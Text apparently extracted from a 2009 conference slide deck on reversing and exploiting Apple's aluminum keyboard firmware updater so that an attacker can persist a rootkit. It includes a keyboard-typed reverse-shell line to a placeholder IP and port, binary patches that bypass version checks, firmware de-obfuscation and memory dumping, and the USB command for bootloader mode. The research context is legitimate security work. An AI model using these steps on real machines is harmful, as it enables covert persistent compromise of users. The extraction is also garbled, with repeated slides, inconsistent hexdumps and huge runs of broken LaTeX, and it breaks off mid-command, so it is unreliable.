Reversing and Exploiting an Apple Firmware Update

K. Chen

Black Hat USA, July 30th, 2009
1. Introduction
   - Motivation
   - Keyboard control
   - Apple’s keyboards
   - Firmware bugs

2. Firmware Update

3. Analysis

4. Exploitation
Scenario (post-exploitation):

- We’ve rooted somebody’s Mac OS X box
- Say after reading “The Mac Hacker’s Handbook” by Charlie Miller and Dino Dai Zovi
- We want to maintain control of the box

http://upload.wikimedia.org/wikipedia/en/1/1f/Sad_mac.png
Proof-of-concept rootkit

- “iRK - Crafting OS X Kernel Rootkits” by Jesse D’Aguanno (Black Hat 2008)

We want to maintain control, even if

- Apple releases patch for vulnerability we used
- Owner is paranoid and re-installs Mac OS X from clean media
- Owner safely updates patch level
Fortunately for an attacker

- Apple has a habit of releasing products before they’re ready
- Apple then later issues firmware updates
- In May 2009, almost 1000 firmware updates available for download from support.apple.com
- The Mac world is incredibly monocultural
Introduction
Firmware Update
Analysis
Exploitation

Motivation
Keyboard control
Apple's keyboards
Firmware bugs

firmware update

Support Downloads: 1–10 of 993

Xserve LOM Firmware Update 1.2
This update includes changes to the Lights-Out Management environment of the Xserve (Early 2008). It addresses issues that cause frequent power supply and fan notifications to be sent. This update is strongly recommended for all Xserve (Early 2008) systems. The Xserve Lights-Out Management Firmware Update 1.2 application has been installed into the /Applications/Server folder of the selected volume.
http://support.apple.com/downloads/Xserve_LOM_Firmware_Update_1_2

Download

MacBook Pro Graphics Firmware Update 1.0
This firmware update is recommended for all 17-inch MacBook Pro (Early 2009) users and addresses the appearance of vertical lines or distorted graphics on the notebook display. For more information about this update, please visit this website: About the MacBook Pro Graphics Firmware Update 1.0
http://support.apple.com/downloads/MacBook_Pro_Graphics_Firmware_Update_1_0

Download

MacBook, MacBook Pro Keyboard Firmware Update 1.0
This MacBook and MacBook Pro firmware update addresses an issue where the first key press may be ignored if the computer has been sitting idle. It also addresses some other issues.
http://support.apple.com/downloads/MacBook___MacBook_Pro_Keyboard_Firmware_Update_1_0

Download

MacBook, MacBook Pro Trackpad Firmware Update 1.0
This firmware update addresses an issue where trackpad clicks may not be recognized on MacBook (Late 2008) and MacBook Pro (Late 2008) systems. The update package will install an updater application into the Applications/Utilities folder and will launch it automatically. Follow the instructions in the updater application to complete the update process.
http://support.apple.com/downloads/MacBook___MacBook_Pro_Trackpad_Firmware_Update_1_0

Download

http://support.apple.com/downloads/

K. Chen
Reversing and Exploiting an Apple Firmware Update
Apple has firmware updates available for:

- graphics cards
- keyboards
- trackpads
- bluetooth
- EFI
- SuperDrive
- AirPort products
- Time Capsule
- etc.
What can we do with control of the keyboard?

http://www.flickr.com/photos/errorsan/164315682/
How about shoveling a shell?

1. Command - Space

2. terminal
Introduction
Firmware Update
Analysis
Exploitation

Motivation
Keyboard control
Apple’s keyboards
Firmware bugs

K. Chen
Reversing and Exploiting an Apple Firmware Update

3 Return

exec /bin/sh 0</dev/tcp/IP/PORT 1>&0 2>&0

http://labs.neohapsis.com/2008/04/17/connect-back-shell-literally/
What if the user uses a Little Snitch?

No problem. Just add:

5 Return

http://www.obdev.at/products/littlesnitch
With custom keyboard firmware, we can persist a rootkit.

Apple’s current keyboard lineup:

- August 2007, USB $49
- August 2007, Bluetooth $79
- March 2009, USB $49
We are going to focus our attention on:

http://www.flickr.com/photos/bhibbard/2534426907/
Keyboard firmware had bugs:

I'm using new aluminum keyboards with Leopard on a new 2.8 GHz iMac and on a fairly recent MacBook Pro. These are completely independent setups, not the same keyboard.

The problem I have is that the modifier keys sometimes seem to 'skip' or stop being recognized. If I'm typing very fast and hold down something like shift or control, then type a few letters with that modifier key down, sometimes it will stop doing the job. So if I were to type a bunch of upper-case 'A's, it would look like 'Aaaaaaaa', or worse, if I'm in Emacs, doing something like moving up a few lines by typing 'CTRL-P' repeatedly, I'll get one CTRL-P, and then a bunch of 'p's. This feels like there's a glitch in the keyboard driver or something similar.

http://discussions.apple.com/thread.jspa?messageID=5745023
Another complaint:

```
Wired aluminum keyboard problem
Posted: Mar 5, 2008 2:50 PM

Does anyone else have a problem with the new aluminum keyboard? Mine misses to accept about one in dozen keystrokes; this is definitely not a problem with how hard I press as I tend to hit the keys very hard. Any help would be welcome.

Mac OS X (10.5.2) Dual 2GHz PowerMac G5
```

http://discussions.apple.com/thread.jspa?messageID=6763413
Introduction

Firmware Update
   - Apple’s Firmware Update
   - Version Checking
   - Reversing
   - Patching

Analysis

Exploitation
Introduction
Firmware Update
Analysis
Exploitation

Apple's Firmware Update
Version Checking
Reversing
Patching

Aluminum Keyboard Firmware Update 1.0

About Aluminum Keyboard Firmware Update 1.0
With its elegant anodized aluminum enclosure, the Apple Keyboard looks equally at home in your living room or on your desk. Start enjoying the crisp, responsive feel of its low-profile keys.

Learn more about Apple Keyboards.

What's New in this Version
This firmware update addresses an issue with the aluminum Apple Keyboard and the aluminum Apple Wireless Keyboard where a key may repeat unexpectedly while typing. The update also addresses other issues. Mac OS X 10.5.2 is required before installing this update.

http://support.apple.com/downloads/Aluminum_Keyboard_Firmware_Update_1_0

K. Chen
Reversing and Exploiting an Apple Firmware Update
SHA1(AlKydFirmwareUpdate.dmg)=8c914be94e31a1f2543bd590d7239aebc1ebb0c0
Most likely, your keyboard has already been updated.
It doesn't matter. We can get around this.

Also, `man lsbom`.
We have extracted the updater application.
This thing also checks if the keyboard needs updating.
Right-click and do “Show Package Contents.”
*.app treated as a single entity by Finder, but actually are directories. Notice the executable file in MacOS.

Recommend: Cameron Hotchkies’ talk “Under the iHood” at REcon 2008. (http://www.recon.cx)

Notice that the TLD for REcon is cx, not com.
Look at all the stuff in the Resources directory.
Magic number is 0xCAFEBABE (not Java bytecode however).

$ hexdump -n 16 Aluminum\ Keyboard\ Firmware\ Update
0000000 ca fe ba be 00 00 00 02 00 00 00 12 00 00 00 00
0000010
$ file Aluminum\ Keyboard\ Firmware\ Update
Aluminum Keyboard Firmware Update: Mach-O universal binary with 2 architectures
Aluminum Keyboard Firmware Update (for architecture ppc): Mach-O executable ppc
Aluminum Keyboard Firmware Update (for architecture i386): Mach-O executable i386

We look at the x86 binary.

Aside: man lipo
I/O Registry Explorer:
For our updated keyboard, we observe:

- bcdDevice = 0x69
- idProduct = 0x220
- idVendor = 0x5ac

We found that a keyboard that has not been updated has:

- bcdDevice = 0x67
- idProduct = 0x220
- idVendor = 0x5ac

Note: bcdDevice is a device’s release number.
Output from usbview on Windows:

Endpoint Descriptor:
bEndpointAddress: 0x81 IN
Transfer Type: Interrupt
wMaxPacketSize: 0x0008 (8)
bInterval: 0x0A

Endpoint Descriptor:
bEndpointAddress: 0x82 IN
Transfer Type: Interrupt
wMaxPacketSize: 0x0001 (1)
bInterval: 0x0A
To disassemble the binary, I used:

- otx [http://otx.osxninja.com](http://otx.osxninja.com)
- much nicer output then otool
- could have also used IDA Pro

For binary editing, I used:

- 0xED [http://www.suavetech.com/0xed/0xed.html](http://www.suavetech.com/0xed/0xed.html)
We need to do reverse-engineering for *interoperability*:

“a person who has lawfully obtained the right to use a copy of a computer program may circumvent a technological measure that effectively controls access to a particular portion of that program for the sole purpose of identifying and analyzing those elements of the program that are necessary to achieve interoperability of an independently created computer program with other programs”

Title 17, Chapter 12, §1201(f)(1)
Delegate method: `applicationDidFinishLaunching`:

- runs after application launched and initialized, but prior to first event

Calls a number of subroutines that

- Checks O/S version is \( \geq 10.5.2 \) by consulting `/System/Library/CoreServices/SystemVersion.plist`

- Using I/O kit library, finds keyboard w/ vendor ID 0x05ac and product IDs 0x222, 0x221, 0x220, and 0x228

- Checks the validity of the firmware image file `kbd_0x0069_0x0220.irrxfw` in the application bundle using a function called `CRC32`:
-(unsigned long)[MyMainController CRC32:]  
3005   pushl  %ebp  
3006   movl  %esp,%ebp  
3008   pushl  %esi  
3009   pushl  %ebx  
300a  subl  $0x10,%esp  
300d  movl  0x10(%ebp),%ebx  
3010  movl  0x00008024,%eax length  
3015  movl  %ebx,(%esp)  
3018  movl  %eax,0x04(%esp)  
301c  calll  0x000090e0  -[(%esp,1) length]  
3021  movl  %ebx,(%esp)  
3024  movl  %eax,%esi  
3026  movl  0x00008034,%eax bytes  
302b  movl  %eax,0x04(%esp)  
302f  calll  0x000090e0  -[(%esp,1) bytes]  

K. Chen  Reversing and Exploiting an Apple Firmware Update
Firmware Update Analysis Exploitation

Apple's Firmware Update Version Checking Reversing Patching

3034 xorl %ecx,%ecx
3036 xorl %edx,%edx
3038 movl %eax,%ebx
303a jmp 0x00003043
303c movzbl (%edx,%ebx),%eax
3040 incl %edx
3041 addl %eax,%ecx
3043 cmpl %esi,%edx
3045 jb 0x0000303c
3047 addl $0x10,%esp
304a movl %ecx,%eax
304c popl %ebx
304d popl %esi
304e leave
304f ret
If Apple can’t even implement CRC32 correctly, what else did they screw up?
To disable version checks, we need to patch the binary.
-(BOOL)[MyMainController getProductVersion:]
...

00004c7a  8b4508     movl    0x08(%ebp),%eax
00004c7d  83785069   cmpl    $0x69,0x50(%eax)   (unsigned int)fCurrentVersion
00004c81  7530       jne     0x00004cb3
00004c83  a140800000 movl     0x00008040,%eax     showDialog:
00004c88  8b5508     movl    0x08(%ebp),%edx
00004c8b  c74424081100000 movl     $0x00000011,0x08(%esp)
00004c93  89442404   movl     %eax,0x04(%esp)
00004c97  891424     movl     %edx,(%esp)
00004c99  e841440000  calll    0x0000090e0   -[(%esp,1) showDialog:]
00004c9f  a144800000 movl     0x00008044,%eax     terminate
00004ca4  89442404   movl     %eax,0x04(%esp)
00004ca8  8b4508     movl    0x08(%ebp),%eax
00004cab  890424     movl     %eax,(%esp)
00004cae  e82d440000  calll    0x0000090e0   -[(%esp,1) terminate]
00004cb3  8b5508     movl    0x08(%ebp),%edx
00004cb6  837a5069   cmpl     $0x69,0x50(%edx)   (unsigned int)fCurrentVersion
00004cba  0f8696000000 jbel     0x00004d56

K. Chen
Reversing and Exploiting an Apple Firmware Update
-(BOOL)[MyMainController getProductVersion:]
...
00004c7a 8b4508 movl 0x08(%ebp),%eax
00004c7d 83785069 cmp %eax,0x69,0x50(%eax) (unsigned int)fCurrentVersion
00004c81 7530 jne 0x00004cb3
00004c83 a14080000 movl 0x00008040,%eax showDialog:
00004c88 8b5508 movl 0x08(%ebp),%edx
00004c8b c74424081100000 movl $0x0000000011,0x08(%esp)
00004c93 89442404 movl %edx,0x04(%esp)
00004c97 891424 movl %edx,(%esp)
00004c9a e841440000 call %esp,0x000090e0 -[(%esp,1) showDialog:]
00004c9f a14480000 movl 0x00008044,%eax terminate
00004ca4 89442404 movl %eax,0x04(%esp)
00004ca8 8b4508 movl 0x08(%ebp),%eax
00004cab 890424 movl %eax,(%esp)
00004cae e82d440000 call %esp,0x000090e0 -[(%esp,1) terminate]
00004cb3 8b5508 movl 0x08(%ebp),%edx
00004cb6 837a5069 cmp %eax,0x69,0x50(%edx) (unsigned int)fCurrentVersion
00004cba 0f8696000000 jbel 0x00004d56

Make both unconditional.
-(void)[MyMainController showInstructions]
...
000047fa 8b4508       movl 0x08(%ebp),%eax
000047fd 8b5038       movl 0x38(%eax),%edx (NSTextField)ibCurrentVersion
00004800 c74424086c720000 movl $0x0000726c,0x08(%esp) invalid version
00004808 albc800000 movl 0x000080bc,%eax setStringValue:
0000480d 891424 movl %edx,(%esp)
00004810 89442404 movl %eax,0x04(%esp)
00004814 e8c7480000 calll 0x000090e0 -[(%esp,1) setStringValue:]
00004819 8b5508 movl 0x08(%ebp),%edx
0000481c 807a6800 cmpb $0x00,0x68(%edx) (BOOL)fbNeedsUpdate
00004820 740e       je 0x00004830

K. Chen

Reversing and Exploiting an Apple Firmware Update
-(void)[MyMainController showInstructions]
...
000047fa 8b4508    movl  0x08(%ebp),%eax
000047fd 8b5038    movl  0x38(%eax),%edx  (NSTextField)ibCurrentVersion
00004800 c74424086c720000 movl  $0x0000726c,0x08(%esp) invalid version
00004808 albc800000 movl  0x000080bc,%eax  setStringValue:
0000480d 891424    movl  %edx,(%esp)
00004810 89442404  movl  %eax,0x04(%esp)
00004814 e8c7480000 calll  0x000090e0  -[(%esp,1) setStringValue:]
00004819 8b5508    movl  0x08(%ebp),%edx
0000481c 807a6800  cmpb  $0x00,0x68(%edx)  (BOOL)fbNeedsUpdate
00004820 740e      je     0x00004830

NOP the conditional jump.
After patching:

**Aluminum Keyboard Firmware Update**

The Aluminum Keyboard Firmware Update will update the keyboard firmware on your aluminum Apple Keyboard.

Important: Do not interrupt the update, your keyboard will not function while it is being updated.

To update your keyboard firmware:

1. Your computer's power cord must be connected and plugged into a working power source.
2. Connect only one aluminum Apple Keyboard to your Mac.
3. Save all open documents and quit all other open applications.
4. Click Update below, a status bar will indicate the progress of the update.

When the update is complete a dialog box will show that the firmware was successfully updated, and then you may resume using your keyboard.

Run the updater with only one keyboard connected at a time. To update additional keyboards, run the updater each time with only one keyboard connected.
Still have a problem:
Let’s look at the .nib file:
Introduction
Firmware Update
Analysis
Exploitation

Apple's Firmware Update
Version Checking
Reversing
Patching

K. Chen
Reversing and Exploiting an Apple Firmware Update
NSButton called “Update”

- target outlet set to MyMainController
- action set to doUpdate:

doUpdate:

- checks that machine doing update is plugged in
- asks for administrator privileges
- calls HIDFirmwareUpdaterTool twice

1. -parse kbd_0x0069_0x0220.irrxfw
2. -progress -pid 0x220 kbd_0x0069_0x0220.irrxfw
HIDFirmwareUpdaterTool has no symbol information.
- It also checks the keyboard version.
- It won’t do anything if bcdDevice is $\geq 0x68$. 
Introduction
Firmware Update
Analysis
Exploitation

Apple’s Firmware Update
Version Checking
Reversing
Patching

+1240 00003345 e8058d0000 calll 0x0000c04f __CFGetTypeID
+1245 0000334a 39c3 cmpl %eax,%ebx
+1247 0000334c 7517 jne 0x00003365
+1249 0000334e 8d45e4 leal 0xe4(%ebp),%eax
+1252 00003351 89442408 movl %eax,0x08(%esp)
+1256 00003355 c744240403000000 movl $0x00000003,0x04(%esp)
+1264 0000335d 893c24 movl %edi,(%esp)
+1267 00003360 e8f98c0000 calll 0x0000c05e __CFNumberGetValue
+1272 00003365 0fb745e0 movzwl 0xe0(%ebp),%eax
+1276 00003369 663d2002 cmpw $0x0220,%ax
+1280 0000336d 7514 jne 0x00003383
+1282 0000336f 837de468 cmpl $0x68,0xe4(%ebp) ‘h’
+1286 00003373 0f873b0a0000 jal 0x00003db4

K. Chen
Reversing and Exploiting an Apple Firmware Update
NOP the Jump if above instruction.
Success! Now we can flash the keyboard to 0x69 firmware.

Demo.
1. Introduction

2. Firmware Update

3. Analysis
   - Obfuscation
   - Bootloader operation
   - Bootloader communication
   - Hardware

4. Exploitation
Apple obfuscated `kbd_0x0069_0x0220.irrxfw`.

```
$ hexdump -n 32 kbd_0x0069_0x0220.irrxfw
00000000 e3 c0 37 ba 07 7f 9b fb a0 4d ae b3 e4 cd 9a 7f
00000010 bd d2 f3 df 16 db 8f 85 c8 55 88 ac 5a 6e 9a f0
00000020
```
Apple obfuscated \texttt{kbd\_0x0069\_0x0220.irrxfw}.

\begin{verbatim}
$ hexdump -n 32 kbd_0x0069_0x0220.irrxfw
00000000 e3 c0 37 ba 07 7f 9b fb a0 4d ae b3 e4 cd 9a 7f
0000010 bd d2 f3 df 16 db 8f 85 c8 55 88 ac 5a 6e 9a f0
0000020
\end{verbatim}

But:

\begin{itemize}
\item Apple
\end{itemize}
Apple obfuscated `kbd_0x0069_0x0220.irrxfw`.

```
$ hexdump -n 32 kbd_0x0069_0x0220.irrxfw
00000000 e3 c0 37 ba 07 7f 9b fb a0 4d ae b3 e4 cd 9a 7f
00000100 bd d2 f3 df 16 db 8f 85 c8 55 88 ac 5a 6e 9a f0
00000200
```

But:

```
Apple obfuscated  Mac
```
Apple obfuscated `kbd_0x0069_0x0220.irrxfw`.

```bash
$ hexdump -n 32 kbd_0x0069_0x0220.irrxfw
00000000 e3 c0 37 ba 07 7f 9b fb a0 4d ae b3 e4 cd 9a 7f
0000010 bd d2 f3 df 16 db 8f 85 c8 55 88 ac 5a 6e 9a f0
0000020
```

But:

```
Apple obfuscated -> Mac unobfuscated -> keyboard
```
Apple obfuscated `kbd_0x0069_0x0220.irrxfw`.

```
$ hexdump -n 32 kbd_0x0069_0x0220.irrxfw
0000000 e3 c0 37 ba 07 7f 9b fb a0 4d ae b3 e4 cd 9a 7f
0000010 bd d2 f3 df 16 db 8f 85 c8 55 88 ac 5a 6e 9a f0
0000020
```

But:

Fortunately, we can use `HIDFirmwareUpdaterTool` to de-obfuscate it for us.
In fact, the plan is:

- **Attacker**
  - owned
- **Mac** → **keyboard**
In fact, the plan is:

Attacker

owned

Apple obfuscated

Mac

keyboard
In fact, the plan is:

- **Attacker**
  - owned

  - **Apple** (obfuscated)
  - **Mac** (unobfuscated)
  - **keyboard**
In fact, the plan is:

- **Apple** (obfuscated) → **Attacker** → **Mac** (owned) → **keyboard** (unobfuscated)
In fact, the plan is:

First, let’s examine Apple’s obfuscation of the firmware.
Let \( A = A_0A_1 \cdots A_{82} \) denote

\[
\begin{array}{ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
\end{array}
\]

and let \( B = B_0B_1 \cdots B_{52} \) denote

\[
\begin{array}{cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
\end{array}
\]

K. Chen

Reversing and Exploiting an Apple Firmware Update
De-obfuscation algorithm:

The de-obfuscation routine reads the firmware file in 83 byte chunks with the $i$th chunk XOR-ed with the 1’s complement of $A$ and then each byte XOR-ed with $B_{i+16 \mod 53}$ to produce the “plaintext.”

There is further de-obfuscation, but we didn’t bother with it.
Apple didn’t get the memo about “security through obscurity.”

Movie: Office Space (1999)
We can dump the unobfuscated firmware out of memory easily.

```
$ gdb -q HIDFirmwareUpdaterTool
(gdb) b *0x4abc
Breakpoint 1 at 0x4abc
(gdb) r -progress -pid 0x220 kbd_0x0069_0x0220.irrxfw
Breakpoint 1, 0x00004abc in ?? ()
(gdb) dump binary memory dump.bin 0x61ec 0x89ec
```
We can dump the unobfuscated firmware out of memory easily.

$ gdb -q HIDFirmwareUpdaterTool
(gdb) b *0x4abc
Breakpoint 1 at 0x4abc
(gdb) r -progress -pid 0x220 kbd_0x0069_0x0220.irxrfw
Breakpoint 1, 0x00004abc in ?? ()
(gdb) dump binary memory dump.bin 0x61ec 0x89ec

$ hexdump -n 73 dump.bin
00000000 00 02 00 30 30 30 30 7d 03 d0 7e 7e 30 30 30 7d 03
dc 7e 7d 03 e0 7e 7d 03 d4 7e 7d 1a 40 7e 00 02 01 7d 17 66 7e 7d 17 71 7e 7d 17
0000030 7c 7e 7d 17 89 7e 7e 30 30 30 7d 06 96 7e 7e 30
0000040 30 30 7e 30 30 30 00 03 00
0000049

K. Chen
Reversing and Exploiting an Apple Firmware Update
We can dump the unobfuscated firmware out of memory easily.

$ gdb -q HIDFirmwareUpdaterTool
(gdb) b *0x4abc
Breakpoint 1 at 0x4abc
(gdb) r -progress -pid 0x220 kbd_0x0069_0x0220.irrxfw
Breakpoint 1, 0x00004abc in ?? ()
(gdb) dump binary memory dump.bin 0x61ec 0x89ec

$ hexdump -n 73 dump.bin
0000000 00 02 00 30 30 30 30 7d 03 d0 7e 7e 30 30 30 7e 30 30 30 7d 03 dc 7e 7d 03 e0 7e 7d 03 d4 7e 7d 03 d4 7e 7d 01 40 7e 00 02 01 7d 17 66 7e 7d 17 71 7e 7d 17 0000030 7c 7e 7d 17 89 7e 7e 30 30 30 7d 06 96 7e 7e 30 0000040 30 30 7e 30 30 30 00 03 00 0000049
To enter bootloader mode:

- keyboard doesn’t have an interrupt OUT endpoint
- so it has to use the control endpoint
- function 0x000020c3 in HIDFirmwareUpdaterTool does this
- calls IOUSBDeviceClass::deviceDeviceRequest(void *self, IOUSBDevRequest *reqIn)
Set a breakpoint right before the call to IOUSBDeviceClass::deviceDeviceRequest(void *self, IOUSBDevRequest *reqIn)

$ gdb -q HIDFirmwareUpdaterTool
(gdb) tb *0x2129
Breakpoint 1 at 0x2129
(gdb) r -progress -pid 0x220 kbd_0x0069_0x0220.irrxfw
(gdb) x $esp+4
0xbfffff584: 0xbfffff590
(gdb) x/16b 0xbfffff590
0xbfffff590: 0x21 0x09 0x0a 0x03 0x00 0x00 0x01 0x00
0xbfffff598: 0x5c 0xf6 0xff 0xbf 0x00 0x00 0x00 0x00
typedef struct {
    UInt8   bmRequestType;
    UInt8   bRequest;
    UInt16  wValue;
    UInt16  wIndex;
    UInt16  wLength;
    void   * pData;
    UInt32  wLenDone;
} IOUSBDevRequest;
typedef struct {
    UInt8 bmRequestType;
    UInt8 bRequest;  
    UInt16 wValue;
    UInt16 wIndex;
    UInt16 wLength;
    void * pData;
    UInt32 wLenDone;
} IOUSBDevRequest;

According to the USB standard, this is the HID-specific Set_Report request.

“The Set_Report request allows the host to send a report to the device, possibly setting the state of input, output or feature controls.”

http://www.usb.org/developers/devclass_docs/HID1_11.pdf
typedef struct {
    UInt8    bmRequestType;
    UInt8    bRequest;
    UInt16   wValue;  // 21 09
    UInt16   wIndex;
    UInt16   wLength;
    void *   pData;
    UInt32   wLenDone;
} IOUSBDevRequest;

High byte is the report type. (0x03 = Feature, 0x02 = Output). Low byte contains the report ID.
typedef struct {
   (UInt8       bmRequestType;
    UInt8       bRequest;
    UInt16      wValue;
    UInt16      wIndex;
    UInt16      wLength;
    void *      pData;
    UInt32      wLenDone;
} IOUSBDevRequest;

The number of the interface the request is directed to.
typedef struct {
    UInt8   bmRequestType;
    UInt8   bRequest;
    UInt16  wValue;
    UInt16  wIndex;
    UInt16  wLength;
    void *  pData;
    UInt32  wLenDone;
} IOUSBDevRequest;

The length of the report.
typedef struct {
    UInt8    bmRequestType;
    UInt8    bRequest;
    UInt16   wValue;
    UInt16   wIndex;
    UInt16   wLength;
    void *   pData;
    UInt32   wLenDone;
} IOUSBDevRequest;

The data is simply just

(gdb) x/1b 0xbfffff65c
0xbfffff65c: 0x0a
Summary: to put the keyboard into bootloader mode, send a feature Set_Report to the keyboard using:

- `bRequest = 0x09`
- `wLength = 0x0001`
- `wValue = 0x030a`
- `wIndex = 0x0000`
- `data = 0x0a`
Reversing and Exploiting an Apple Firmware Update
Low Speed device @ 3 (0xFA220000): Vendor-specific device: "Kbd Bootloader"

Device Descriptor:
- Descriptor Version Number: 0x0200
- Device Class: 255 (Vendor-specific)
- Device Subclass: 0 (Vendor-specific)
- Device Protocol: 0
- Device MaxPacketSize: 8
- Device VendorID/ProductID: 0x05AC/0x0228 (Apple Inc.)
- Device Version Number: 0x0067
- Number of Configurations: 1
- Manufacturer String: 2 "Apple, Inc"
- Product String: 1 "Kbd Bootloader"
- Serial Number String: 3 "Ver 3.4"

Configuration Descriptor:
- Length (and contents):
  - Number of Interfaces: 32
  - Configuration Value: 1
  - Attributes:
    - MaxPower: 100 mA

Interface #0 - Unknown
- Alternate Setting: 0
- Number of Endpoints: 2
- Interface Class: 0 (Unknown)
- Interface Subclass: 0
- Interface Protocol: 0

Endpoint 0x81 - Interrupt Input
- Address: 0x81 (IN)
- Attributes: 0x03 (Interrupt no synchronization data endpoint)
- Max Packet Size: 8
- Polling Interval: 10 ms

Endpoint 0x80 - Interrupt Output
- Address: 0x02 (OUT)
- Attributes: 0x03 (Interrupt no synchronization data endpoint)
- Max Packet Size: 8
- Polling Interval: 10 ms
The first 64 byte packet sent to the keyboard is

```
$ gdb -q HIDFirmwareUpdaterTool
(gdb) b *0x2e0a
Breakpoint 1 at 0x2e0a
(gdb) r -progress -pid 0x220 kbd_0x0069_0x0220.irrxfw
Breakpoint 1, 0x00002e0a in ?? ()
(gdb) x/64b 0xa7c0
